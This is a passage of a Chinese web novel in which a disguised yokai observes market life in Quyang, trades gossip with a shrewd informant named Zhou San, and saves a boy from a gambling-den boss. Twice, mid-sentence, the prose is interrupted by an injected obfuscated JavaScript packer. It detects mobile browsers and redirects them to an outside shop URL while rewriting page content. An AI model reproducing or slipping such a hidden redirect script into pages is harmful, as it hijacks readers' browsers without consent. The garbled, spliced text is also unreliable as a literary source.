正想着,那肚子竟又“咕”地叫了一声。他揉了揉,继续往前走。 出了巷子就是西市——这儿的集市早就开了。不过大中午的,家家户户都在忙着做食,并无多少在摆摊,那位卖陶器的老头也不知道哪里去了,陶罐一个个都整齐地排列在屋里,一并上了大锁。至于街上……惟有几个卖菜的妇人正把早市剩下的蔫菜叶子拢成一堆,准备带回家喂给鸡吃。 秦云意站在街口,看着这片渐渐安定下来的市集,竟感到有点茫然: 这儿到处都是香气,可能轻松得到的“食”,又在那里? 他目光扫过众铺,最后落在街角很远处一个卖麦饼的摊子上。摊主是个大娘,正把刚烧好的几个饼从炉膛里夹出来,摆在草席上。饼面焦黄,冒着热气,香气老远就能闻到。 就它了。他心想,然后径直走到摊前。 “饼。” 就一个字,真是干净利落。 大娘抬头,却愣了愣:这郎君生得是真俊,皮肤白得像没晒过太阳,眉眼也好看,就是……就是那眼神,直勾勾的,看着有点瘆人。 “两文钱一个。”大娘还是说,“要几个?” 秦云意从袖里摸出几枚铜钱——是前几日从城外某个病死的齐人行商包袱里“捡”的。他数出两枚,递过去。 大娘接过钱,又看了他一眼,递过来一个饼。 秦云意接过,饼烫手,他差点一把扔走,但最终还是忍住了,然后,他用余光学着旁边一个汉子的模样,双手倒腾着吹气,咬了一口。这饼外脆里软,还有麦香混着点焦糊味在嘴里散开。 ——着实好吃。就是有点干,没喝的,倒噎得慌。 “水。”他说。 “茶摊有。” 大娘指了指旁边。 秦云意点点头,拿着饼往茶摊走。走了两步,忽然想起什么,回头对大娘说道: “大娘……多谢。” 这几个字他说得有点生硬,尾音没往下坠,反倒拐了一下。 大娘又愣了愣,之后摆摆手。 “您客气。”她说。 大娘口中的茶摊其实是个破棚子,这儿就几张矮凳。摊主是个独眼老头,正用木瓢从大陶缸里舀茶。茶汤浑浊,偶尔飘着几片碎叶子。 秦云意坐下,放下一文钱。 “茶。” 独眼老头满生古怪地瞥了他一眼,之后舀了碗茶推过来。秦云意端起碗,先闻了闻这茶,紧接着,他抿了一口,眉头却立刻皱起来。 又苦又涩。呸,还有种说不清的怪味…… 他旁边坐着个挑夫,正仰头灌茶,本来他满脸忧愁的,但看见秦云意那表情,反倒乐了: “郎君想必是富贵人吧?喝不惯这粗茶?” 秦云意转头看他。这挑夫四十上下,脸晒得黑红,肩上搭着条汗巾,正咧着嘴笑,露出被烟熏黄的牙。 “富贵人?”秦云意重复道,语调平平的,像是鹦鹉学舌。 “瞧您这衣裳,这皮子。”挑夫比划着,“咱们这地界,可没人穿这么好的衣裳干活——太精贵。” 秦云意低头看了看自己。此话是真,这身衣服确实显眼,他刚才一路走来,已经有好几个人侧目了。 “那……”他想了想,问道,“我该怎么穿?” 挑夫更乐了:“您问我?我就是个扛活的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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最后,那汉子拗不过,还是骂骂咧咧掏出两文钱,摔在桌上,端起茶碗咕咚喝完,抹嘴走了。独眼老头飞快地收起钱,嘴里嘟囔着什么“穷鬼”、“白食”,又继续舀他的茶。 挑夫叹口气:“都难啊,这世道。” “是啊,粮价一天一个样,这日子……” 秦云意听着,没插话。他低头,看向自己碗里剩下的半碗茶,茶汤浑浊,映着他模糊的倒影。 这些人为了一文钱争吵,为了半斗米发愁,为了不知道哪天就会降临的征役担惊受怕——活着,好像还挺累的……但不知怎的,他看着这些人争吵、叹气、又继续低头干活的样子,竟不觉得厌烦。 有点意思…… 他站起身,又摸出一文钱放在桌上: “再来一碗。” 独眼老头再次诧异地看他一眼,但还是舀了茶。 秦云意端着碗,没回原座,而是换了个在茶棚边,靠着柱子慢慢喝。他的目光扫过街面,扫过每一位形形色色的人,直到喝完第二碗茶,把碗还给独眼老头。 老头接过碗,砸吧着嘴,忽然说了句什么: “郎君啊,您说话……别那么使劲,听着累人。” 秦云意愣了愣,随即明白过来了。 “……好。”他点头,这次语速刻意放慢了些,“那我……慢慢说。” 独眼老头低头,咧开那张缺了颗牙的嘴,自顾自地笑了。 秦云意也学着笑了笑。 在转身离开茶摊时,他只觉脚步轻快了些。虽然衣服依旧显眼,但至少,他学会了怎么喝茶,怎么啃饼,怎么说话……对,“慢慢说”。 那接下来呢? 他摸了摸怀里——还有几枚铜钱。 “再看看吧。”他对自己说,迈步往巷子里走。已经到中午了,家家户户燃起了火,点起了灶。空气里的饭菜香更浓了——混着柴烟味,让人感到一阵暖意。 秦云意特地为此走得很慢,眼睛还不时四处打量,比方路过一户人家时,他听见屋里传来女人的哭声,压抑的,断断续续的……他脚步顿了顿,没停,继续往前走。 又路过一家——那是几个孩子围在灶台边,眼巴巴地看着锅里翻滚的野菜汤。母亲舀汤时,把底下稠些的捞给孩子们,自己的碗里却几乎全是清汤。 …… 他就这样在市井里穿梭,一直到了晚上——他几乎快要逛遍整个曲阳了,路上的人偶尔还会驻足看他,不是人云亦云,而是各有各的眼神,和动作…… …… 差不多了,再往前走,就是自己待着的破庙。秦云意在庙门口停下,回头看了一眼:巷子很深,灯火点点。那哭声、低语声、碗筷碰撞声、孩子嬉闹声……所有这些声音都混在一起,沉甸甸,又暖烘烘的,像一张无形的大网,罩着这座城池,也罩着每一个活在其中的、渺小的人…… 他在门口站了很久,才转身走进庙里。 庙里依旧冷清。悬梁上,一只蜘蛛正在补网,老鼠们又开始窸窸窣窣,秦云意找在一处草席上坐下,从怀里掏出剩下的半个麦饼——之前刚才吃了一半,留了一半。现在饼已经凉了,显得邦硬。 他用手掰了一小块,放进嘴里,慢慢嚼,这饼味道不如刚出炉时好,但还是能吃。边嚼着,他又想到今天看到的这些:那些为了一文钱争吵的人,那些为孩子省一口饭的母亲,那些蹲在路边发呆的,又或是在暮色里匆匆归家的路人…… “人间,有意思。”他轻声说,把最后一点饼屑咽下去,然后他躺下,用双手枕在脑后,自顾自地望着黑漆漆的一片庙顶。 之后,也再去看看罢。 4. 周三 接下来的日子里,秦云意每日都去西市。 其中,有时是清晨,那时雾气还未散尽,他就站在街角的槐树下,看那些贩夫走卒如何卸下货担,如何把粗糙的手掌在衣襟上反复擦拭,这才小心翼翼地在布上摆出待售的货物……有时是正午,日头毒辣,他寻一处阴凉,看人们在热浪里蔫蔫地打盹,在汗水浸湿的麻衣下,现出何等瘦骨嶙峋的肩胛骨来…… 但更多时候是傍晚。 酉时三刻,炊烟从千家万户的灶膛里升腾而起,在空中交织成一片青灰色的薄纱。西市的喧嚣在此刻渐渐沉淀,白日里震耳的叫卖声、讨价还价声、车马轱辘声,此刻都化作絮语。这时,秦云意便踱步到茶摊,在最靠里的位置坐下,点一碗粗茶,一口气能坐上半个时辰。 不过,他的存在还是太扎眼。 那一身黑瑟的长袍,料子细软得不像凡品,在余晖下还泛着光泽。这时总免不了有摊贩们私下议论,比如“这料子,怕是邯郸最上等的齐纨,一匹能换十石粟米。”可他们觉得奇怪的是,穿它的人,竟却日日只来这最下等的茶摊,还喝两文钱一碗的粗茶。 当然,更扎眼的,还得是他的眼睛。 周围还有几个胆大的,之前曾试图与他搭话,可一迎上那双眼睛,话就卡在喉咙里,不知道该说啥了——倒不是他的眼睛形状多么怪异(其实他早用了法术,把自己的红色竖瞳变得像凡人一样了),只是那目光太静,太幽深,像一面镜子,被他看着仿佛皮都被剥光了一样,赤条条站在光天化日之下,什么都不好说来……因此,有这一回事后,也就没人敢靠近他坐的那张矮凳了。那群茶客们宁愿挤破脑袋挤在棚子外头,也不愿与他同桌。 …… 这一日,酉时刚过。 秦云意照旧坐在老位置,慢悠悠地啜着茶汤。夕阳从西市歪斜的屋檐间漏下来,把他修长的手指映得可生漂亮。他正琢磨着今日听见的一桩趣事——东巷那一对卖豆腐的夫妻,昨夜还为半升豆子吵得面红耳赤,邻里皆知,今儿早却又和好如初,听说丈夫还特意去买了支廉价的木簪送给妻子,甚至亲手插在了妻子发间。 ……唉,人心啊,真是比山里的天气还难捉摸。 他正这么想着,街那头忽然喧哗起来——只见三个衙役模样的人,正围着一个穿赭色深衣的汉子。那汉子约莫三十五六岁,身形清瘦,面皮白净,颌下留着修剪整齐的短髯。虽衣着半旧,但浆洗得干干净净,连衣襟的褶皱都熨帖得恰到好处。最引人注目的是他腰间佩的那块玉——青白玉质,雕着简易的云纹,还用褪了色的绦子系着。 “周三!你别跟洒家耍花样!”为首的衙役是个络腮胡,好巧不巧,就是之前他见到追杀少年的那位,“听说,有人看见你昨日进了县丞的后院!” 那叫周三的汉子连连拱手,脸上笑容可掬: “不敢不敢。赵头儿,您这话又是从何说起?周某昨日一直在南市帮李掌柜清点账目,这事儿,李掌柜可作证。”他说着,又从袖中摸出个小小的布袋,不动声色地塞进络腮胡手里。 “这几日天燥,几位差爷辛苦,要不,喝碗凉茶解解暑?” 络腮胡掂了掂布袋,脸色稍缓,但仍板着那张鬼脸,他的眼睛滴溜溜地上下打量,最后,目光落在了对方的腰处: “那你腰间这佩玉,又是从何而来?要知道,上月间城西古墓被盗,丢的可就是这类形制的玉!” 周三“哎呀”了一声,连忙解下佩玉捧在手中,赔笑着道:“赵头儿明鉴,这哪是什么古玉?您瞧这玉质,浑浊无光,您摸这雕工,粗劣不堪。这是周某前日在市集,花五文钱从一老农手里买的——那老农说是祖传的,可我瞧着,哼!多半是赝品。”他说得诚恳,还特意把玉凑到衙役眼前。 “您若不信,大可拿去请人鉴定。若是真从古墓流出,周某甘愿领罪。” 他这话说得滴水不漏。络腮胡盯着他看了半晌,终究还是摆了摆手。 “……罢了,量你也没那个胆。” 说罢,他带着另外两人转身离去,走时还不忘转身警告: “最近风声紧,你小子给我收敛点!” “是是是,多谢赵头儿提点!”周三躬身作揖,直到衙役的身影消失在街角,这才直起身子。他长长地舒了口气,掸了掸衣襟上并不存在的灰尘,脸上的惶恐瞬间褪去,换上了一副从容自得的神情。那变化之快,仿佛刚才被围堵的是另一个人,并不是他一样。 秦云意在茶摊里看着这一切,唇角微微勾起。 真有趣。 这周三,分明是只市井里的狐狸——狡黠,机敏,懂得何时该示弱,何时该强硬。更难得的是,他演得如此自然,那一套躬身、赔笑、塞钱的动作,行云流水,并不忸怩,像是演练过千百遍—— 这小子,有点手段。 周三整好衣襟,转头就朝茶摊走来。他步履从容,目光在茶客间扫过,最后落在秦云意身上时,却突然停顿了一瞬。 其实,就这么一瞬。但秦云意捕捉到了——那并不是普通市井人看见富贵子弟的羡慕或嫉妒,而是一种审视,一种评估,像是在掂量一件货物的重量与价值。 果然,这周三径直走到秦云意对面,也不问可否,就撩袍入座了 “老徐,一碗茶,照旧。” 茶摊老板应了一声,很快端来茶碗。周三接过来,却不急着喝,只捧在手里暖手。这时他才抬眼,正式开始打量起秦云意。 “这位郎君,连喝七日茶了。”周三开口,声音不高不低,恰好能让秦云意听清,又不至于惹旁人注目,“每日酉时来,酉时末走,点一碗茶,坐半个时辰。不看人,不听曲,只偶尔听听街坊闲聊——我说的可对?” 秦云意放下茶碗,抬眼看他。 四目相对,周三心头莫名一紧。那双眼睛……太奇怪了,感觉不像是真人的眼睛。但他面上不露声色,口中反而笑了: “郎君莫怪,周某没别的本事,就是记性好,眼睛毒。这西市每日往来不下千人,谁是新面孔,谁是熟客,谁心里藏着事,谁只是路过歇脚——我瞧一眼,就能猜个八九不离十!” “哦?”秦云意终于开口,声音平淡,“那你猜猜,我是何人?” 周三端起茶碗,抿了一口,才缓缓道出:“郎君衣裳是上等的齐纨吧,这种料子,曲阳城里只有三家布庄有售,且每匹都有编号,卖给谁,何时卖出,都有记录。”他顿了顿,“可周某曾查过,过去三个月,这三家布庄都没卖出过这个颜色的齐纨。” 秦云意不动声色。 “你继续说。” “郎君腰间无佩玉,手上无扳指,但十指干净修长,指甲修剪整齐——这不是干活的手,也不是握剑的手。”周三的目光在秦云意手上停留一瞬,“倒像是……抚琴的手,或是执笔的手。” “还有呢?” “还有郎君的坐姿。”周三笑了,“茶摊的矮凳粗糙,常人坐着,难免会因不适而调整姿势。可郎君连坐七日,每次都是同一个姿势——脊背挺直,双肩放松,双手自然置于膝上。这不是寻常富贵子弟能做到的,倒像是……” 他故意停下,等秦云意接话。 秦云意却只是看着他,那双深潭般的眼睛里,终于泛起一丝涟漪——是玩味,是好奇,还有一丝连他自己都没察觉到的的欣赏。 “倒像是什么?”秦云意问。 “倒像是军中之人。”周三压低声音,“而且是受过严格训练的军中之人。可郎君年纪不过二十出头,若真是行伍出身,此刻应在别处,不应在此。” 他说完了,静静等着秦云意的反应,可秦云意沉默了片刻,最后却忽然笑了。这一笑,周三心头那点笃定竟然动摇了一丝——这笑容太复杂,其中有赞许,有戏谑,还有些他看不懂的东西,像是什么高高在上的神明,看见蝼蚁做出了出乎意料的举动,而发出的……夸奖? “你观察得很细。”秦云意道,“可惜,但都错了。” 周三挑眉,“愿闻其详。”他说。 “第一,这衣裳不是齐纨,是蜀锦。”秦云意抬手,衣袖滑落,露出腕间一小片布料,“蜀锦纹理更密,日光下泛的是珍珠光泽,齐纨泛的是丝绢光泽——你隔得远,布料又黑,看错了。” 周三眯起眼,仔细看去,果然如此。 “第二,我不抚琴,也不执笔。”秦云意收回手,“至于我的手为何如此……或许只是保养得好而已。” “第三,”他顿了顿,眼中戏谑更浓,“我确实不是军中之人。但你说对了一点——我确实受过某种‘训练’,只是这‘训练’的内容,你想象不到。” 周三怔住了。 他在这曲阳城活了三十五年,自认阅人无数。贩夫走卒、衙役官吏、商贾游侠,甚至偶尔路过的贵族子弟,他都能从衣着、谈吐、举止中推断出来历。可眼前这人……什么鬼,他竟完全看不透? 对他而言,这不只是简简单单的判断对错问题。更可怕的是,周三有一种直觉——眼前这人,貌似根本不在乎被看透!他甚至乐得被猜测,被分析,像是在玩一场游戏。而在这场游戏里,周三自以为是的“洞察”,不过十分渺小,渺小到是对方眼中的趣事一桩。 “郎君高明。”周三收敛了笑容,第一次露出郑重的神色,“周某眼拙,让郎君见笑了。” “无妨。”秦云意端起茶碗,又啜了一口,“那你倒是说说,刚才衙役,又为何找你麻烦?” 说到这,周三又重新挂上那副市井笑容,他左右看看,小声说:“赵头儿那人,您也看见了——嗓门大,心眼小。上月他小舅子想强买周某手里一块古玉,我没答应,这不就记恨上了?今日不过是寻个由头,敲打敲打罢了。” “那块玉,”秦云意忽然问道,“当真是五文钱买的?” 周三笑容僵了一下,但很快恢复如初。 “自然是。” “可我瞧着,那玉沁色虽新,但雕工是老的。”秦云意慢条斯理地回答,“云纹的走势,是五十年前邯郸流行的样式。若真是赝品,仿得未免太像了些吧。” 周三终于色变。 他盯着秦云意,良久,才缓缓开口: “郎君……懂玉?” “略知一二。”秦云意淡淡地说,“我还知道,上月城西古墓被盗是真,但丢的不是玉,是一套青铜酒器。官府之所以放出丢玉的风声,是想引‘蛇’出洞——那盗墓的贼人,专偷玉器,已在附近三县犯案七起。” 这些话,秦云意说得平静,却像惊雷般在周三耳边炸开——这些内幕,连他这个地头蛇都只隐约听说,眼前这年轻公子又是如何得知的?! “郎君究竟是何人?”周三的声音已经变了调。可秦云意却不答,反而自顾自地开始问道: “你方才说,这曲阳城里的大小事,没有你不知道的。那我问你,东街粮铺的李掌柜,最近在忙什么?” 周三深吸一口气,强迫自己冷静下来——既然对方问了,便是给了他台阶下。要他看,这位也是个聪明人,知道什么时候该进,什么时候该退。 “李掌柜……”周三重新端起茶碗,手指却不自觉地反复摩挲着碗沿,“明面上是做米面生意,暗地里却替邯郸的贵人收罗古玉。这事知道的人不多,但也不少。可很少有人知道,他收玉不是为自己, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153429|196473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不是为贵人,而是……” 他顿了顿,压低声音:“而是为了换粮。” 秦云意挑眉:“换粮?” “对。”周三点点头,“偷偷从燕国换粮。如今赵国连年征战,粮价飞涨,官府又严控粮市,有钱也买不到粮。李掌柜便用古玉与燕国商人交易,换来的粮食,一半高价卖出,一半……偷偷送给城西的孤儿寡母。” 他说的这番话,倒是出乎秦云意意料。 “那他图什么?” “图什么?”周三笑了,笑容里有些苦涩,“李掌柜的儿子,三年前死在长平。尸首运回来时,只剩一副残缺、带血的铠甲。从那以后,他就开始做这事——有人说他傻,有人说他沽名钓誉,可周某知道——他只是不想让别的父母,也尝到,他曾经尝过的滋味。” …… 暮色渐浓,茶摊逐渐挂起了灯笼。 橘黄色的光晕在周三脸上跳跃,映出他眼角的细纹,也映出他眼中那点难得的真诚。秦云意就这样静静听着,他忽然觉得,这人间比他想象的还要复杂:善与恶,真与假,精明与痴傻,竟能如此奇妙地交织在同一个人类的身上。 “再说说西市卖陶器的那老头吧。”周三继续道,“他的儿子也死在长平,连尸首都没找到。官府发的抚恤金,名义上是十金,可到手只有五金。至于剩下那五金,进了县丞小舅子的口袋。” “老头不知道?” “知道,怎么不知道?”周三叹口气,“可知道了又能怎样?他一介草民,告官无门,只能忍。忍到后来,连怨都怨不起来了,只剩下麻木。”他顿了顿,“上个月,他的发妻病重,需要钱抓药。周某借了他二金,他跪下来给我磕头,额头都磕破了……那场景,我至今不敢忘,而他的发妻,虽然有了钱抓药,但早已病重,最后还是……” 他顿了顿,还想说什么,但最终,他的脸上归于平静,可秦云意却听得出那平静下的余波,以及他心中尚未言出的,复杂的情感…… 这是个有故事的人,同样,还是个矛盾的人——他能面不改色地贿赂衙役,能游刃有余地周旋于黑白两道,却也会为陌生人的苦难而动容,还会悄悄帮助那些走投无路的同类。 “那你为何与我说这些?”秦云意问。 周三看着他,面不改色地笑了一下。 “因为郎君想听。” “何以见得?” “郎君连喝七日茶,听了七日街谈巷议。”周三说,“若只是消遣,大可去酒楼听曲,去赌坊玩骰子。可郎君没有——您选择坐在这最简陋的茶摊,听最寻常的百姓说最琐碎的烦恼。这说明,您想听的,正是这些。” 他吞了吞口水,接着补充道:“而且,郎君听得很认真。常人听这些,要么不耐烦,要么当笑话。可郎君不同——您虽然在喝茶,可耳朵是竖着的,眼睛是亮着的。因为那些旁人容易忽略的细枝末节,您全都听进去了。” 秦云意沉默了。 这人说的不错,他确实在听,也确实在学。学这些人如何说话,如何行事,如何在这艰难的世道里挣扎求存……可他不曾想到,自己这番“学习”,竟被一个市井汉子看得如此透彻。 “你说得对。”秦云意终于承认,“我确实想听。” 周三眼睛此刻却亮了: “既然郎君想听,那周某便多说些。郎君还想知道什么?粮价为何飞涨?衙役如何盘剥?还是……那些藏在暗处的、见不得光的交易?” “都说。”秦云意端起茶碗,“凡是你知道的,都说。” 于是周三开始说了。 他说粮价飞涨,不止因为战事,还因为几个大粮商联手囤积居奇,他说衙役盘剥,不止明面上的索贿,还有各种巧立名目的“税”与“费用”,他说城东那家当铺,其实是放印子钱的黑窝,借十文还十五,还不上就要夺人田产,他说城南的张寡妇,靠织布养活几个孩子,每夜熬到三更,眼睛都快熬瞎了…… 他说得细致,时而愤慨,时而叹息,时而无奈。秦云意只是听,偶尔问一句,更多时候是沉默。 …… 灯笼里的烛火渐渐暗了,茶摊老板开始收拾桌椅。周三这才惊觉,自己竟已说了整整一个时辰。 “瞧我,一说就停不住。”周三有些不好意思挠挠头,“耽误郎君工夫了。” “无妨。”秦云意放下早已凉透的茶碗,摸出四枚铜钱搁在桌上,其中两文是茶钱,两文是给周三的。 “明日还来否?” 周三看着那两枚额外的铜钱,犹豫了一会,终究收下了。 “来。”他点点头,“周某每日酉时必在此处。郎君若还想听,周某便继续说——这曲阳城,就像一棵老树,表面上枝繁叶茂,可地下的根须盘根错节,藏着多少秘密,其实,连我都说不清……” 秦云意站起身,今日是时候了,他该离开了。可就在自己还未行多远,那周三突然猛地站起来,朝向自己的方向作了个揖,大声喊道: “在下周三!周游的周,行三!敢问郎君贵姓?” 秦云意转身看他。目光平静,却让周三莫名觉得脊背一凉,像是被什么怪物懒洋洋地瞅了一眼。 “秦。”他只说一个字。 “哎!秦郎君——明儿再见!” 秦云意点点头,向前走了几步,却又像是想到什么一样,转过头来。 “那块佩玉——收好吧。虽是新沁,但玉质尚可,雕工也是老手笔,虽说值不了十金,但三五金还是值的。” 周三浑身一震,手下意识按向腰间。等他再抬头时,秦云意早已走入巷子深处,背影融进浓得化不开的夜色里…… 5. 茶摊听世 自那日后,秦云意与周三的交往便深了许多。 这周三每日酉时必到,不仅带来曲阳城最新的消息,还开始试探秦云意的“来历”了。比方这一日,他神秘兮兮地凑近秦云意,戏谑地开始说话。 “秦郎君,您知道城北的张铁匠吗?”他说。 “哪个张铁匠?” “就是打农具的那个,手艺好,价钱公道。”周三压低声音。 “上个月,他接了县衙一单生意——打五十把环首刀,结果您猜怎么着?” “怎么?” “那批刀,根本没进武库。”周三左右看看,声音更低了。 “听说有人看见,那些刀打好后,直接装车运出了城,往北边去了。” 北边?曲阳北边是燕国边境,难不成这家伙,是私贩军械?秦云意想。 “这还不是最怪的,最怪的是,张铁匠做完这单生意,第二天就关门歇业,举家搬走了。对外说是回老家,可有人打听过,他老家根本没人见过他。”周三观察着秦云意的神色,然后继续说道。 “那衙役没查?” “查?谁查?负责采办的是那人是县丞的小舅子,要我说,这事啊,怕是……”周三冷笑几声,他做了个手势,没再说下去。 秦云意若有所思,这周三跟他说这些,究竟是在暗示什么?县丞私通敌国?还是……另有隐情? “你为何告诉我这些?” 周三笑了。 “周某在这曲阳城混了半辈子,别的本事没有,就是会看人。郎君您不是寻常人,告诉您这些,一则或许对您有用,二则……” 他顿了顿。 “周某其实也想看看,您会怎么做。” “怎么做?” “是啊。”周三眼中闪着光,“周某只是个市井小民,知道了这些事,也只能烂在肚子里。可郎君您不同——您的气度,您的本事,都不是寻常人能有的。若是您……” 他没说完,但意思很明显。 秦云意看着他,忽然明白过来:这周三过来不是单纯地在“卖消息”,他是在下注。他看出自己不凡,于是想借自己之手,来去做他做不到的事。或许是为了钱,或许……还是为了一些别的,比如—— 当官? 一来二回,这周三说得口干舌燥,直接端起茶碗一饮而尽,待放下碗时,他忽然想到了什么。 “秦郎君,其实……周某有句话,不知当讲不当讲。” “讲吧。” “您这身衣裳,还有您这气度,在曲阳城里实在太扎眼了。”周三认真说道。 “最近城里风声紧,您若是想安稳待下去,要不……换换装扮,收敛些。” 秦云意低头看了看自己的黑衣。确实,这料子在这市井中太过显眼,不过,这料子都是他的山精野兽同伴好不容易才弄来的,他可不想为了不引人注目,而白瞎这么好的衣裳不穿。 “……多谢提醒。”他回答,不过看样子,他目前并不想换。 “应该的。周某看得出,郎君是能做大事的人。只盼将来若真有一日……郎君飞黄腾达了,别忘了周某这个市井朋友。”周三摆摆手。 这话说得直白,却也坦荡。 “若有那一日,秦某自然不会忘记。”秦云意也笑了。 周三大喜,又说了许多,忽然,街那头传来一阵喧哗。只见一群人推推搡搡地从远处的赌坊里出来,为首的正是周三之前提到过的城南赌坊管事——一个满脸横肉的胖子,人称“钱爷”。他手里拽着个瘦弱的少年,那少年不过十二三岁模样,衣衫褴褛,脸上青一块紫一块。 二人把视线落在他们身上。 “小崽子!敢在钱爷的地盘上出老千?!”钱爷一巴掌扇在少年脸上,惹得少年踉跄倒地,嘴角渗出血来,尽管他们的周围聚了不少人,但碍于“钱爷”此人的称号,没人敢上前去。 “那是城西刘姥的孙子,叫石头。”周三在秦云意耳边低声道,“先前刘姥病重,石头为了给她抓药,偷了家里的钱来赌坊想翻本,结果……唉……”他摇摇头。 那钱爷依旧不依不饶,他一脚踢在石头身上,大声吼着: “说!谁教你出老千的?!” 石头只是蜷缩在地上,咬着牙不说话。 “不说?好!”钱爷狞笑,“那就给我打!打到他开口为止!” 几个打手上前,拳脚如雨点般落下,打的石头惨叫连连,却依旧不肯开口。 秦云意看着这一幕,那少年眼中的倔强,让他想起荒园里的那个孩子,同样都是被逼到绝境,都是不肯低头……但他并没有立刻起身——妖怪的岁月太长,他见过太多这样的事,人间就是这样,弱肉强食,自古如此,而目前来看,事情还并没有超出太大的范围,直到…… 直到他看见钱爷从旁人手里接过一根手臂粗的棍子,对准了石头的右手。那动作很慢,还带着一种戏谑的残忍。 周围有人不忍地别过脸去,更多人伸长脖子看着,周三叹口气,摇摇头,也把目光转了回来,他本想多喝几口茶解解闷,可刚一眨眼,就看见面前的秦郎君放下茶碗,站起身。 周三一愣。“什么,秦郎君,您……” 秦云意没说话,径直走了过去。 “住手。” 声音不大,却带着一种奇怪的穿透力,清晰地传到每个人耳中,打手们不由自主地停下动作,连钱爷举着棍子的手也顿了顿,他转头看向秦云意,眯起一双眼睛: “你谁啊?多管闲事?” 秦云意走到石头身边,低头看了一眼。少年满脸是血,却还在努力睁着眼睛。那双眼睛里有恐惧,有不甘,还有一丝……愤恨在。 “他欠你多少?”秦云意问。 钱爷上下打量秦云意,见他穿着不同常人,暗地里偷笑一声: “五十文。怎么?你要替他还?” 秦云意点了点头,他的右手垂在身侧,手指微不可察地动了动,那街角旁石缝中,三颗小石子随着法力悄然化作青烟,又在他掌心凝聚成形——只是这变化太快,又隔着衣袖,没人看见。他伸出手,从右边袖中摸出钱来:这五十文铜钱看起来和寻常的没什么两样,只是颜色稍暗些,像是沾了什么灰一样。 钱爷接过钱,入手微微一沉,随即一股凉意从指尖蔓延上来。他没在意,只当是天冷,将钱在手中掂了掂,又凑到眼前仔细看了看——嗯,不错。铜钱上的字迹清晰,边缘圆润,确实是钱。 他脸色变幻一下,忽然笑了。 “行啊,有钱是吧?不过……”他指了指石头,“这小子在我地盘出老千,坏了规矩。光还钱可不够,还得……” “还得怎样?”秦云意平静地问。 “还得留下一只手!”钱爷恶狠狠道,手中的棍子又举了起来。 围观的人群一阵骚动。周三等人在远处焦急地搓手,想上前,却又不敢。 秦云意看着钱爷,淡淡地笑了,可钱爷却被这笑容看得心里莫名一紧。 “你要他的手?”秦云意的声音依旧平静。 “怎么?不行?”钱爷强装凶狠,但握着棍子的手却下意识紧了紧。 “行。”秦云意点头,“不过,这赌坊的规矩,是不是该按赌坊的来?” 钱爷皱皱眉,“你这家伙什么意思?” “既然你说他出老千,那我们就赌一局。”秦云意淡淡道,目光落在钱爷手里的棍子上,“我赢了,人我带走,钱你留下。我输了,钱归你,我的手也归你。” 此言一出,全场哗然。 周三倒吸一口凉气。周围的人也都瞪大了眼睛——开玩笑吧,这人疯了不成? 钱爷死死盯着秦云意,半晌,忽然哈哈大笑起来:“好!你有胆色!说吧,赌什么?” “随你。” “那就掷骰子,比大小!”钱爷潇洒一挥手,“摆桌!” 很快,一张赌桌摆在街心。钱爷亲自摇骰,骰盅在他手中上下翻飞,最后“啪”地扣在桌上。他的动作很熟练,骰子在盅里发出清脆的碰撞声。 “买大还是买小?”钱爷盯着秦云意,眼中闪过一丝狡黠——我管他买大买小,这骰盅里有机关,我能控点数! 秦云意看都没看一眼骰盅,只淡淡说:“大。” 钱爷冷笑几声,手在盅底不着痕迹地一按,然后缓缓掀开—— 大。 他脸色一变。奇了怪了,他明明按了机关,该是小才对! “再来!”他不信邪。 第二局,秦云意还是说“大”。接着开盅—— 大。 第三局,秦云意依然说“大”。开盅之后—— 还是大。 钱爷的脸色彻底黑了。三局全输,而且点数一次居然比一次大!明明他的手按在机关上,也确实按动了,但骰面竟然毫无反应?! “你……”他死死盯着秦云意,“你这家伙动了手脚?” 秦云意平静地看着他。 “骰子是你的,骰盅是你的,摇骰的是你。我站在三步之外,如何动手脚?” 确实,这家伙从头到尾都没碰过赌具。他甚至站得很随意,双手垂在身侧,连衣袖都没动一下。 钱爷哑口无言。但他心中那股不安越来越强烈——眼前这人太奇怪了,难道说……他是哪个当官的公子?今日过来,是想探探什么底细? 那这下可糟了…… 围观的人群开始窃窃私语,这一来二去,周三看向秦乐的眼神又变了。 钱爷深吸一口气,知道今天实打实地踢中铁板了。他勉强挤出一丝赔笑的笑容,说:“好,好本事。人你带走,钱……也归你。” 秦云意不语,他拿走钱,俯身扶起石头。那少年像根软趴趴的面条,虚弱地靠在他身上,秦云意把手按在少年肩头,一丝极淡的妖力悄然渗入,稳住了少年将散的气息——这动作很隐蔽,没人察觉。 秦云意看向钱爷,声音十分平静。 “有句话我要告诉你。” “什……什么话?” “赌坊开门做生意,求的是财。”秦云意缓缓道,“但若为了财,连孩童都不放过,这生意,怕是做不长久了。” 说完,他扶着石头,转身离开。 人群自动分开一条路,目送他们远去,没人敢拦,甚至连议论声都小了下去。周三目瞪口呆地看着秦云意的背影,见四下无人在意他,也就抄了个远路,偷偷往秦云意二人去的方向走去。唯有那姓钱的站在原地,脸色铁青,他低头看了看手里的五十文钱,后背的冷汗不知何时湿透了衣裳,他立刻将五十文攥紧在手心,仿佛是他的救命稻草一样。 “没事……没事……”他挤出一个比哭还难看的笑,对周围人群说,“大家散了,散了!” 巷口处,秦云意将石头靠在墙边,从怀中取出药膏。药是真的,是用他山里的灵草熬制而成的。他把手沾了药,轻轻地涂在少年伤口上。这药膏迅速带着清凉的气息渗入皮肉,使得伤口以肉眼可见的速度开始愈合——这当然不是凡药该有的效果,但巷子昏暗,没人看得清。 石头疼得抽气,却咬着牙没哭出声。 “为何去赌?”秦云意问他。 